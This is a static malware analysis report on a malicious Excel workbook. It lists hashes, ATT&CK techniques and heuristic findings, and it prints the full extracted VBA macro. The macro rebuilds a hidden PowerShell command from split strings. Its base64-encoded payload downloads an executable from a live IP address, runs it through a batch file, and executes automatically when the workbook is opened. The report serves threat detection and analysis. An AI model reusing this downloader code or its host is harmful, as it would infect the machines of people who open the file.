Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e74dfbd6183cb09d…

MALICIOUS

Office (OOXML)

363.8 KB Created: 2021-08-19 14:03:52 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-24
MD5: 3a95c992e1a4862a8ef177a9d165988b SHA-1: c92c233c97f8490f14b0e844b5b01ad3af87f959 SHA-256: e74dfbd6183cb09dbea39eea6e896fd7ae4e8a39dabefcb6a9b65e54953f7833
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The VBA macro within the Excel document contains obfuscated strings that, when reassembled, form a PowerShell command. This command is designed to download a second-stage executable from the URL 'http://3.24.21.139/v2/2/097001357520.exe' and execute it. The macro also creates and executes a batch file named 'Fnmxgrvpldmwt.bat' to launch the PowerShell command, indicating a downloader or droppper functionality.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2376 bytes
SHA-256: 7315d23c1d6b7d0a20509181b1838a12f5ec1436c4854bc8bf8e6724011790a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Activate()
On Error Resume Next

Dim bat As String


Dim s As String

s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "


s = s + "JABQAHIAbwBjAE"
s = s + "4AYQBtAGUAIAA9"
s = s + "ACAAIgBCAG4AaA"
s = s + "B6AHMAYQB2AGkA"
s = s + "YgB4AGwAYwBiAC"
s = s + "4AZQB4AGUAIgA7"
s = s + "ACgATgBlAHcALQ"
s = s + "BPAGIAagBlAGMA"
s = s + "dAAgAFMAeQBzAH"
s = s + "QAZQBtAC4ATgBl"
s = s + "AHQALgBXAGUAYg"
s = s + "BDAGwAaQBlAG4A"
s = s + "dAApAC4ARABvAH"
s = s + "cAbgBsAG8AYQBk"
s = s + "AEYAaQBsAGUAKA"
s = s + "AiAGgAdAB0AHAA"
s = s + "OgAvAC8AMwAuAD"
s = s + "YANAAuADIANQAx"
s = s + "AC4AMQAzADkALw"
s = s + "B2ADMALwAyAC8A"
s = s + "MAA5ADcAMAAwAD"
s = s + "EAMwA1ADcANQAy"
s = s + "ADAALgBlAHgAZQ"
s = s + "AiACwAIgAkAGUA"
s = s + "bgB2ADoAQQBQAF"
s = s + "AARABBAFQAQQBc"
s = s + "ACQAUAByAG8AYw"
s = s + "BOAGEAbQBlACIA"
s = s + "KQA7AFMAdABhAH"
s = s + "IAdAAtAFAAcgBv"
s = s + "AGMAZQBzAHMAIA"
s = s + "AoACIAJABlAG4A"
s = s + "dgA6AEEAUABQAE"
s = s + "QAQQBUAEEAXAAk"
s = s + "AFAAcgBvAGMATg"
s = s + "BhAG0AZQAiACkA"


Dim x As Double

ActiveWorkbook.Save

bat = "Fnmxgrvpldmwt.bat"

Open bat For Output As #1
    Print #1, s 
    Close #1
    x = Shell(bat, 0)

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 6144 bytes
SHA-256: 90773ed807fa6d084e85017174b10494460a1d658c1acdf1e64ea6d518a2e765